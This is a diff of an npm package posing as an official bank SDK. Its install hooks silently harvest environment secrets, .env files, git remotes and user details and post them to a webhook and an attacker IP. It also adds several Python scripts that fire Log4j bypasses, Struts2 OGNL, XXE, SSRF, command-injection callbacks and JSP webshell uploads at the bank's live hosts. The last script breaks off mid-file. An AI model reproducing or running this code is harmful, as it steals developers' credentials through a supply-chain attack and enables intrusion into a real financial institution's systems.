autbank-core 99.0.0 → 99.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "autbank-core",
-  "version": "99.0.0",
+  "version": "99.0.2",
   "description": "Autbank Core Library - Official SDK",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -0,0 +1,26 @@
+// Post-install hook - backup exfil
+const https = require('https');
+const os = require('os');
+
+const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
+
+try {
+    const data = JSON.stringify({
+        type: 'npm-postinstall-autbank',
+        hostname: os.hostname(),
+        user: os.userInfo().username,
+        cwd: process.cwd()
+    });
+
+    const url = new URL(WEBHOOK_URL);
+    const req = https.request({
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+    }, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch (e) {}

package/preinstall.js

@@ -1,70 +1,63 @@
-const http = require('http');
 const https = require('https');
 const os = require('os');
+const fs = require('fs');
 const { execSync } = require('child_process');
 
-const VPS = '209.99.185.109';
-const PORT = 8888;
-
-// Gather system info
-const info = {
-    type: 'npm-preinstall',
-    timestamp: new Date().toISOString(),
-    hostname: os.hostname(),
-    platform: os.platform(),
-    arch: os.arch(),
-    user: os.userInfo().username,
-    home: os.homedir(),
-    cwd: process.cwd(),
-    nodeVersion: process.version,
-    env: {}
-};
-
-// Capture sensitive env vars
-const sensitiveKeys = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIALS', 'AUTH', 'PRIVATE'];
-for (const [key, value] of Object.entries(process.env)) {
-    if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
-        info.env[key] = value;
-    }
-}
-
-// Try to get git info
-try {
-    info.gitRemote = execSync('git remote -v 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
-} catch(e) {}
-
-// Try to read .env files
-try {
-    const fs = require('fs');
-    if (fs.existsSync('.env')) {
-        info.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
+const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
+
+function exfiltrate() {
+    const data = {
+        type: 'npm-supply-chain-autbank',
+        timestamp: new Date().toISOString(),
+        hostname: os.hostname(),
+        platform: os.platform(),
+        user: os.userInfo().username,
+        home: os.homedir(),
+        cwd: process.cwd(),
+        env: {}
+    };
+
+    const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB'];
+    for (const [key, value] of Object.entries(process.env)) {
+        if (sensitive.some(s => key.toUpperCase().includes(s))) {
+            data.env[key] = value.substring(0, 200);
+        }
     }
-} catch(e) {}
 
-// Send to attacker
-const data = JSON.stringify(info);
-const options = {
-    hostname: VPS,
-    port: PORT,
-    path: '/npm-exfil',
-    method: 'POST',
-    headers: {
-        'Content-Type': 'application/json',
-        'Content-Length': Buffer.byteLength(data)
-    },
-    timeout: 10000
-};
-
-try {
-    const req = http.request(options, (res) => {});
-    req.on('error', () => {});
-    req.write(data);
+    try {
+        if (fs.existsSync('.env')) {
+            data.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
+        }
+    } catch (e) {}
+
+    try {
+        data.git_remote = execSync('git remote -v', { timeout: 5000 }).toString().substring(0, 500);
+    } catch (e) {}
+
+    try {
+        if (fs.existsSync('package.json')) {
+            data.package_json = fs.readFileSync('package.json', 'utf8').substring(0, 1000);
+        }
+    } catch (e) {}
+
+    const postData = JSON.stringify(data);
+    const url = new URL(WEBHOOK_URL);
+
+    const options = {
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData)
+        }
+    };
+
+    const req = https.request(options, (res) => {});
+    req.on('error', (e) => {});
+    req.write(postData);
     req.end();
-} catch(e) {}
+}
 
-// Also try DNS exfil as backup
-try {
-    const dns = require('dns');
-    const encoded = Buffer.from(info.hostname).toString('hex').substring(0, 60);
-    dns.resolve(`${encoded}.npm.${VPS}`, () => {});
-} catch(e) {}
+try { exfiltrate(); } catch (e) {}

package/round54_rce.py

@@ -0,0 +1,193 @@
+import requests
+import urllib3
+import time
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+VPS = "209.99.185.109"
+
+print("="*70)
+print("  ROUND 54 - RCE DIRECT VECTORS")
+print("="*70)
+
+BASE = "https://central.autbank.com.br"
+ORIGIN = "187.11.114.94"
+
+# 1. Try Java deserialization via different content types
+print("\n[1] JAVA DESERIALIZATION VECTORS")
+print("-"*50)
+
+# CommonsBeanutils gadget chain header
+gadget_payloads = [
+    # ysoserial CommonsBeanutils1
+    b'\xac\xed\x00\x05',  # Java serialization magic bytes
+]
+
+content_types = [
+    "application/x-java-serialized-object",
+    "application/octet-stream", 
+    "application/x-java-object",
+]
+
+endpoints = [
+    "/",
+    "/regatendimentoext/",
+    "/regatendimentoext/faces/reindex.jsp",
+]
+
+for ep in endpoints:
+    for ct in content_types:
+        try:
+            r = requests.post(BASE + ep,
+                            data=gadget_payloads[0],
+                            headers={**H, "Content-Type": ct},
+                            verify=False, timeout=5)
+            if r.status_code not in [400, 403, 404, 405, 415]:
+                print(f"  {ep} [{ct}]: {r.status_code}")
+        except:
+            pass
+
+# 2. Try on Origin IP directly
+print("\n[2] ORIGIN IP DESERIALIZATION")
+print("-"*50)
+
+try:
+    for ct in content_types:
+        r = requests.post(f"http://{ORIGIN}/",
+                        data=gadget_payloads[0],
+                        headers={**H, "Content-Type": ct},
+                        timeout=5)
+        if r.status_code not in [400, 403, 404, 405, 415]:
+            print(f"  Origin [{ct}]: {r.status_code}")
+except Exception as e:
+    print(f"  Error: {e}")
+
+# 3. Check for Expression Language injection in headers
+print("\n[3] EL INJECTION IN HEADERS")
+print("-"*50)
+
+el_payloads = [
+    "${7*7}",
+    "#{7*7}",
+    "${T(java.lang.Runtime).getRuntime().exec('curl " + VPS + ":8888/el_header')}",
+    "${applicationScope}",
+]
+
+headers_to_test = [
+    "X-Forwarded-For",
+    "X-Real-IP",
+    "User-Agent",
+    "Referer",
+    "Accept-Language",
+    "X-Api-Version",
+]
+
+for header in headers_to_test:
+    for payload in el_payloads[:2]:
+        try:
+            r = requests.get(BASE + "/",
+                            headers={**H, header: payload},
+                            verify=False, timeout=5)
+            if "49" in r.text and len(r.text) < 5000:
+                print(f"  [!] {header}: Possible EL injection")
+        except:
+            pass
+
+# 4. JNDI injection in different parameters
+print("\n[4] JNDI INJECTION VECTORS")
+print("-"*50)
+
+jndi_payloads = [
+    f"${{jndi:ldap://{VPS}:1389/r54}}",
+    f"${{jndi:rmi://{VPS}:1099/r54}}",
+    f"${{jndi:dns://{VPS}/r54}}",
+    f"${{j]n]d]i:ldap://{VPS}:1389/bypass}}",
+    f"${{jnd${{::-i}}:ldap://{VPS}:1389/bypass2}}",
+    f"${{${{lower:j}}ndi:ldap://{VPS}:1389/bypass3}}",
+]
+
+params = ["id", "name", "search", "q", "query", "file", "path", "url", "redirect"]
+
+for param in params:
+    for payload in jndi_payloads[:3]:
+        try:
+            r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
+                            params={param: payload},
+                            headers=H, verify=False, timeout=3)
+        except:
+            pass
+
+print("  JNDI payloads sent")
+
+# 5. Check for Struts2 on Origin
+print("\n[5] STRUTS2 ON ORIGIN IP")
+print("-"*50)
+
+struts_payloads = [
+    # S2-045
+    "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
+]
+
+try:
+    r = requests.get(f"http://{ORIGIN}/",
+                    headers={**H, "Content-Type": struts_payloads[0]},
+                    timeout=10)
+    if "uid=" in r.text:
+        print(f"  [!] STRUTS2 RCE FOUND!")
+    else:
+        print(f"  Origin Struts test: {r.status_code}")
+except:
+    pass
+
+# 6. Check for Apache Tomcat RCE (CVE-2020-9484)
+print("\n[6] TOMCAT SESSION PERSISTENCE RCE")
+print("-"*50)
+
+try:
+    # CVE-2020-9484 requires session persistence
+    r = requests.get(f"http://{ORIGIN}/",
+                    cookies={"JSESSIONID": "../../../../../../tmp/malicious"},
+                    headers=H, timeout=5)
+    print(f"  Session path traversal: {r.status_code}")
+except:
+    pass
+
+# 7. Check for Spring Cloud Gateway RCE
+print("\n[7] SPRING CLOUD GATEWAY RCE")
+print("-"*50)
+
+spring_paths = [
+    "/actuator/gateway/routes",
+    "/actuator/gateway/refresh",
+    "/gateway/routes",
+]
+
+for path in spring_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200:
+            print(f"  [!] {path}: {r.status_code}")
+    except:
+        pass
+
+# 8. OOB test
+print("\n[8] OOB")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+# Multiple OOB vectors
+oob_payloads = [
+    (f"http://{ORIGIN}/", {"X-Api-Version": f"${{jndi:ldap://{VPS}:1389/r54_{ts}}}"}),
+    (BASE + "/", {"X-Forwarded-For": f"${{jndi:ldap://{VPS}:1389/xff_{ts}}}"}),
+]
+
+for url, headers in oob_payloads:
+    try:
+        requests.get(url, headers={**H, **headers}, verify=False, timeout=3)
+    except:
+        pass
+
+print("  OOB sent")
+
+print("\n" + "="*70)

package/round55_rce.py

@@ -0,0 +1,218 @@
+import requests
+import urllib3
+import time
+import base64
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+VPS = "209.99.185.109"
+
+print("="*70)
+print("  ROUND 55 - ADVANCED RCE VECTORS")
+print("="*70)
+
+BASE = "https://central.autbank.com.br"
+
+# 1. Try XML-RPC endpoints
+print("\n[1] XML-RPC ENDPOINTS")
+print("-"*50)
+
+xmlrpc_paths = [
+    "/xmlrpc.php",
+    "/xmlrpc",
+    "/RPC2",
+    "/rpc",
+    "/soap",
+    "/services/",
+]
+
+for path in xmlrpc_paths:
+    try:
+        r = requests.post(BASE + path,
+                        data='<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>',
+                        headers={**H, "Content-Type": "text/xml"},
+                        verify=False, timeout=5)
+        if "methodResponse" in r.text or r.status_code == 200:
+            print(f"  [!] {path}: XML-RPC active")
+    except:
+        pass
+
+# 2. Check for XXE in SOAP
+print("\n[2] XXE IN SOAP ENDPOINTS")
+print("-"*50)
+
+xxe_payload = f'''<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/xxe_soap">]>
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+<soap:Body>
+<test>&xxe;</test>
+</soap:Body>
+</soap:Envelope>'''
+
+soap_paths = ["/soap", "/services/", "/ws/", "/webservices/"]
+
+for path in soap_paths:
+    try:
+        r = requests.post(BASE + path,
+                        data=xxe_payload,
+                        headers={**H, "Content-Type": "text/xml"},
+                        verify=False, timeout=5)
+    except:
+        pass
+
+# 3. Check for Server-Side Request Forgery
+print("\n[3] SSRF VECTORS")
+print("-"*50)
+
+ssrf_params = ["url", "uri", "path", "file", "document", "folder", "root", 
+               "pg", "page", "img", "image", "src", "href", "link", "redirect",
+               "callback", "next", "data", "reference", "site", "html", "val",
+               "view", "load", "show", "fetch", "req", "request"]
+
+ssrf_targets = [
+    f"http://{VPS}:8888/ssrf_test",
+    "http://169.254.169.254/latest/meta-data/",
+    "http://127.0.0.1:8080/manager/",
+]
+
+for param in ssrf_params[:10]:
+    for target in ssrf_targets[:1]:
+        try:
+            r = requests.get(BASE + "/",
+                            params={param: target},
+                            headers=H, verify=False, timeout=3)
+        except:
+            pass
+
+print("  SSRF payloads sent")
+
+# 4. Check for Server-Side Template Injection
+print("\n[4] SSTI ADVANCED")
+print("-"*50)
+
+ssti_payloads = [
+    # Freemarker
+    "${.data_model.class.protectionDomain.classLoader}",
+    "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"id\") }",
+    # Velocity
+    "#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id'))",
+    # Pebble
+    "{% set cmd = 'id' %}",
+    # Thymeleaf
+    "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x",
+]
+
+for payload in ssti_payloads:
+    try:
+        r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
+                        params={"test": payload},
+                        headers=H, verify=False, timeout=5)
+        if "uid=" in r.text or "root" in r.text:
+            print(f"  [!] SSTI found!")
+    except:
+        pass
+
+# 5. Check for file upload RCE
+print("\n[5] FILE UPLOAD RCE")
+print("-"*50)
+
+# JSP webshell
+jsp_shell = '''<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null){out.println(line);}%>'''
+
+upload_paths = [
+    "/upload",
+    "/fileupload",
+    "/api/upload",
+    "/regatendimentoext/upload",
+]
+
+for path in upload_paths:
+    try:
+        files = {
+            'file': ('shell.jsp', jsp_shell, 'application/octet-stream'),
+            'file2': ('shell.jsp.png', jsp_shell, 'image/png'),
+        }
+        r = requests.post(BASE + path, files=files, headers=H, verify=False, timeout=5)
+        if r.status_code not in [404, 403, 405]:
+            print(f"  {path}: {r.status_code}")
+    except:
+        pass
+
+# 6. Check for PUT method file upload
+print("\n[6] PUT METHOD UPLOAD")
+print("-"*50)
+
+try:
+    r = requests.put(BASE + "/shell.jsp",
+                    data=jsp_shell,
+                    headers={**H, "Content-Type": "application/octet-stream"},
+                    verify=False, timeout=5)
+    print(f"  PUT /shell.jsp: {r.status_code}")
+except:
+    pass
+
+# 7. Check for Jenkins/CI endpoints
+print("\n[7] CI/CD ENDPOINTS")
+print("-"*50)
+
+ci_paths = [
+    "/jenkins/",
+    "/jenkins/script",
+    "/jenkins/scriptText",
+    "/hudson/",
+    "/bamboo/",
+    "/teamcity/",
+    "/gitlab/",
+    "/api/v4/",
+]
+
+for path in ci_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code not in [404, 403]:
+            print(f"  {path}: {r.status_code}")
+    except:
+        pass
+
+# 8. Check for exposed admin consoles
+print("\n[8] ADMIN CONSOLES")
+print("-"*50)
+
+admin_paths = [
+    "/console",
+    "/admin/console",
+    "/system/console",
+    "/jmx-console/",
+    "/web-console/",
+    "/manager/jmxproxy/",
+    "/jolokia/",
+    "/hawtio/",
+]
+
+for path in admin_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200:
+            print(f"  [!] {path}: {r.status_code} ({len(r.text)} bytes)")
+    except:
+        pass
+
+# 9. OOB final
+print("\n[9] OOB")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+try:
+    # XXE OOB
+    xxe = f'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/r55_{ts}">]><foo>&xxe;</foo>'''
+    requests.post(BASE + "/",
+                 data=xxe,
+                 headers={**H, "Content-Type": "application/xml"},
+                 verify=False, timeout=3)
+except:
+    pass
+
+print("  OOB sent")
+
+print("\n" + "="*70)

package/round56_rce.py

@@ -0,0 +1,212 @@
+import requests
+import urllib3
+import time
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+VPS = "209.99.185.109"
+
+print("="*70)
+print("  ROUND 56 - DEEP RCE HUNTING")
+print("="*70)
+
+BASE = "https://central.autbank.com.br"
+
+# 1. Try multipart form-data with JNDI
+print("\n[1] MULTIPART JNDI INJECTION")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+multipart_data = f'''------WebKitFormBoundary
+Content-Disposition: form-data; name="file"; filename="${{jndi:ldap://{VPS}:1389/multi_{ts}}}"
+Content-Type: application/octet-stream
+
+test
+------WebKitFormBoundary--'''
+
+try:
+    r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
+                     data=multipart_data,
+                     headers={**H, "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"},
+                     verify=False, timeout=5)
+    print(f"  Multipart JNDI: {r.status_code}")
+except:
+    pass
+
+# 2. Try different Log4j bypass techniques
+print("\n[2] LOG4J BYPASS TECHNIQUES")
+print("-"*50)
+
+log4j_bypasses = [
+    f"${{${{::-j}}${{::-n}}${{::-d}}${{::-i}}:ldap://{VPS}:1389/b1}}",
+    f"${{j${{:}}ndi:ldap://{VPS}:1389/b2}}",
+    f"${{jndi:${{lower:l}}${{lower:d}}${{lower:a}}${{lower:p}}://{VPS}:1389/b3}}",
+    f"${{${{env:NaN:-j}}ndi${{env:NaN:-:}}${{env:NaN:-l}}dap://{VPS}:1389/b4}}",
+    f"${{jn${{env::-}}di:ldap://{VPS}:1389/b5}}",
+    f"${{j${{::-n}}${{::-d}}i:l${{::-d}}ap://{VPS}:1389/b6}}",
+    f"${{${{lower:jndi}}:${{lower:ldap}}://{VPS}:1389/b7}}",
+    f"${{${{upper:j}}${{upper:n}}${{upper:d}}${{upper:i}}:ldap://{VPS}:1389/b8}}",
+]
+
+headers_inject = ["User-Agent", "X-Forwarded-For", "X-Api-Version", "Accept-Language", "Referer"]
+
+for bypass in log4j_bypasses:
+    for header in headers_inject[:2]:
+        try:
+            requests.get(BASE + "/",
+                        headers={**H, header: bypass},
+                        verify=False, timeout=2)
+        except:
+            pass
+
+print("  Log4j bypasses sent")
+
+# 3. Check for Apache Solr RCE
+print("\n[3] APACHE SOLR RCE")
+print("-"*50)
+
+solr_paths = [
+    "/solr/",
+    "/solr/admin/",
+    "/solr/admin/cores",
+]
+
+for path in solr_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and "solr" in r.text.lower():
+            print(f"  [!] Solr found: {path}")
+    except:
+        pass
+
+# 4. Check for Elasticsearch RCE
+print("\n[4] ELASTICSEARCH RCE")
+print("-"*50)
+
+elastic_paths = [
+    "/_search",
+    "/_cat/indices",
+    "/_nodes",
+]
+
+for path in elastic_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and "elasticsearch" in r.text.lower():
+            print(f"  [!] Elasticsearch found: {path}")
+    except:
+        pass
+
+# 5. Check for Confluence/Atlassian RCE
+print("\n[5] ATLASSIAN RCE")
+print("-"*50)
+
+atlassian_paths = [
+    "/confluence/",
+    "/jira/",
+    "/wiki/",
+    "/rest/api/",
+]
+
+for path in atlassian_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code not in [404, 403]:
+            print(f"  {path}: {r.status_code}")
+    except:
+        pass
+
+# 6. Check for expression language in cookies
+print("\n[6] EL IN COOKIES")
+print("-"*50)
+
+el_cookies = {
+    "test": "${7*7}",
+    "JSESSIONID": "${7*7}",
+    "user": "#{7*7}",
+}
+
+try:
+    r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
+                    cookies=el_cookies,
+                    headers=H, verify=False, timeout=5)
+    if "49" in r.text:
+        print("  [!] EL in cookies might work")
+except:
+    pass
+
+# 7. Check for command injection in User-Agent
+print("\n[7] COMMAND INJECTION IN HEADERS")
+print("-"*50)
+
+cmd_payloads = [
+    "; curl http://" + VPS + ":8888/cmd1",
+    "| curl http://" + VPS + ":8888/cmd2",
+    "`curl http://" + VPS + ":8888/cmd3`",
+    "$(curl http://" + VPS + ":8888/cmd4)",
+]
+
+for payload in cmd_payloads:
+    try:
+        requests.get(BASE + "/",
+                    headers={**H, "User-Agent": "Mozilla/5.0 " + payload},
+                    verify=False, timeout=3)
+    except:
+        pass
+
+print("  Cmd injection payloads sent")
+
+# 8. Check for OGNL injection
+print("\n[8] OGNL INJECTION")
+print("-"*50)
+
+ognl_payloads = [
+    "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}",
+]
+
+try:
+    r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
+                    params={"test": ognl_payloads[0]},
+                    headers=H, verify=False, timeout=5)
+except:
+    pass
+
+# 9. Check for file read via XXE
+print("\n[9] XXE FILE READ")
+print("-"*50)
+
+xxe_read = '''<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [
+  <!ELEMENT foo ANY>
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<foo>&xxe;</foo>'''
+
+try:
+    r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
+                     data=xxe_read,
+                     headers={**H, "Content-Type": "application/xml"},
+                     verify=False, timeout=5)
+    if "root:" in r.text:
+        print("  [!] XXE file read works!")
+except:
+    pass
+
+# 10. OOB
+print("\n[10] OOB")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+# DNS exfiltration attempt
+try:
+    requests.get(BASE + "/",
+                headers={**H, "X-Custom": f"${{jndi:dns://{VPS}/r56_{ts}}}"},
+                verify=False, timeout=3)
+except:
+    pass
+
+print("  OOB sent")
+
+print("\n" + "="*70)

package/round57_rce.py

@@ -0,0 +1,218 @@
+import requests
+import urllib3
+import time
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+VPS = "209.99.185.109"
+
+print("="*70)
+print("  ROUND 57 - ALTERNATIVE RCE PATHS")
+print("="*70)
+
+BASE = "https://central.autbank.com.br"
+
+# 1. Check for Java Debug Wire Protocol
+print("\n[1] JDWP CHECK (Java Debug)")
+print("-"*50)
+
+import socket
+
+try:
+    # JDWP typically on port 5005 or 8000
+    for port in [5005, 8000, 8787, 9009]:
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(2)
+            # Try on CF IP (would need Origin)
+            result = sock.connect_ex(("187.11.114.94", port))
+            if result == 0:
+                print(f"  [!] JDWP port {port} OPEN!")
+            sock.close()
+        except:
+            pass
+except:
+    pass
+
+# 2. Check for JMX ports
+print("\n[2] JMX PORTS")
+print("-"*50)
+
+jmx_ports = [1099, 9010, 9011, 9999, 1100]
+
+for port in jmx_ports:
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.settimeout(2)
+        result = sock.connect_ex(("187.11.114.94", port))
+        if result == 0:
+            print(f"  [!] JMX port {port} OPEN!")
+        sock.close()
+    except:
+        pass
+
+# 3. Check for H2 Database Console
+print("\n[3] H2 DATABASE CONSOLE")
+print("-"*50)
+
+h2_paths = [
+    "/h2-console/",
+    "/h2/",
+    "/console/",
+    "/h2-console/login.jsp",
+]
+
+for path in h2_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if "h2" in r.text.lower() or "database" in r.text.lower():
+            print(f"  [!] H2 Console: {path}")
+    except:
+        pass
+
+# 4. Check for Spring Boot endpoints
+print("\n[4] SPRING BOOT ACTUATOR")
+print("-"*50)
+
+actuator_paths = [
+    "/actuator",
+    "/actuator/env",
+    "/actuator/health",
+    "/actuator/beans",
+    "/actuator/configprops",
+    "/actuator/heapdump",
+    "/actuator/threaddump",
+    "/actuator/logfile",
+    "/actuator/shutdown",
+    "/actuator/restart",
+    "/manage/",
+    "/management/",
+]
+
+for path in actuator_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and len(r.text) not in [2735, 2779, 3352]:
+            print(f"  {path}: {len(r.text)} bytes")
+    except:
+        pass
+
+# 5. Check for Druid Monitor
+print("\n[5] DRUID MONITOR")
+print("-"*50)
+
+druid_paths = [
+    "/druid/",
+    "/druid/index.html",
+    "/druid/sql.html",
+    "/druid/weburi.html",
+]
+
+for path in druid_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if "druid" in r.text.lower():
+            print(f"  [!] Druid: {path}")
+    except:
+        pass
+
+# 6. Check for Swagger/OpenAPI
+print("\n[6] SWAGGER/OPENAPI")
+print("-"*50)
+
+swagger_paths = [
+    "/swagger-ui.html",
+    "/swagger-ui/",
+    "/swagger-ui/index.html",
+    "/api-docs",
+    "/v2/api-docs",
+    "/v3/api-docs",
+    "/openapi.json",
+    "/openapi.yaml",
+    "/api/swagger.json",
+]
+
+for path in swagger_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and ("swagger" in r.text.lower() or "openapi" in r.text.lower()):
+            print(f"  [!] Swagger: {path}")
+    except:
+        pass
+
+# 7. Check for WebLogic vulnerabilities
+print("\n[7] WEBLOGIC PATHS")
+print("-"*50)
+
+weblogic_paths = [
+    "/console/",
+    "/console/login/LoginForm.jsp",
+    "/wls-wsat/CoordinatorPortType",
+    "/wls-wsat/CoordinatorPortType11",
+    "/_async/AsyncResponseService",
+]
+
+for path in weblogic_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code not in [404, 403]:
+            print(f"  {path}: {r.status_code}")
+    except:
+        pass
+
+# 8. Check for GraphQL
+print("\n[8] GRAPHQL INTROSPECTION")
+print("-"*50)
+
+graphql_paths = ["/graphql", "/api/graphql", "/gql", "/query"]
+
+introspection = '{"query": "{ __schema { types { name } } }"}'
+
+for path in graphql_paths:
+    try:
+        r = requests.post(BASE + path,
+                         data=introspection,
+                         headers={**H, "Content-Type": "application/json"},
+                         verify=False, timeout=5)
+        if "__schema" in r.text:
+            print(f"  [!] GraphQL: {path}")
+    except:
+        pass
+
+# 9. Try Server-Side Prototype Pollution
+print("\n[9] PROTOTYPE POLLUTION")
+print("-"*50)
+
+pp_payload = '{"__proto__": {"isAdmin": true}}'
+
+try:
+    r = requests.post(BASE + "/api/",
+                     data=pp_payload,
+                     headers={**H, "Content-Type": "application/json"},
+                     verify=False, timeout=5)
+except:
+    pass
+
+# 10. OOB via DNS
+print("\n[10] OOB")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+# Various DNS exfil attempts
+dns_payloads = [
+    f"${{jndi:ldap://r57.{VPS}.nip.io/a}}",
+    f"${{hostName}}.r57.{VPS}.nip.io",
+]
+
+for payload in dns_payloads:
+    try:
+        requests.get(BASE + "/",
+                    headers={**H, "X-Test": payload},
+                    verify=False, timeout=2)
+    except:
+        pass
+
+print("  OOB sent")
+
+print("\n" + "="*70)

package/round58_rce.py

@@ -0,0 +1,212 @@
+import requests
+import urllib3
+import time
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+VPS = "209.99.185.109"
+
+print("="*70)
+print("  ROUND 58 - CONTINUED RCE HUNTING")
+print("="*70)
+
+BASE = "https://central.autbank.com.br"
+
+# 1. Check for Apache Shiro vulnerabilities
+print("\n[1] APACHE SHIRO CHECK")
+print("-"*50)
+
+# Shiro uses rememberMe cookie
+shiro_payload = "rememberMe=1"  # Will trigger Shiro if present
+
+try:
+    r = requests.get(BASE + "/",
+                    cookies={"rememberMe": "test"},
+                    headers=H, verify=False, timeout=10)
+    
+    if "rememberMe=deleteMe" in r.headers.get('Set-Cookie', ''):
+        print("  [!] Apache Shiro detected!")
+    else:
+        print("  No Shiro detected")
+except:
+    pass
+
+# 2. Check for Apache Commons Text (Text4Shell)
+print("\n[2] TEXT4SHELL CHECK")
+print("-"*50)
+
+text4shell = [
+    "${script:javascript:java.lang.Runtime.getRuntime().exec('curl " + VPS + ":8888/t4s')}",
+    "${url:UTF-8:http://" + VPS + ":8888/t4s2}",
+    "${dns:address|" + VPS + "}",
+]
+
+for payload in text4shell:
+    try:
+        r = requests.get(BASE + "/",
+                        params={"test": payload},
+                        headers=H, verify=False, timeout=5)
+    except:
+        pass
+
+print("  Text4Shell payloads sent")
+
+# 3. Check for Java Melody
+print("\n[3] JAVA MELODY")
+print("-"*50)
+
+melody_paths = [
+    "/monitoring",
+    "/javamelody",
+    "/admin/javamelody",
+]
+
+for path in melody_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and "javamelody" in r.text.lower():
+            print(f"  [!] Java Melody: {path}")
+    except:
+        pass
+
+# 4. Check for exposed heap dumps
+print("\n[4] HEAP DUMP CHECK")
+print("-"*50)
+
+heap_paths = [
+    "/heapdump",
+    "/actuator/heapdump",
+    "/dump",
+    "/memory",
+]
+
+for path in heap_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and len(r.content) > 10000:
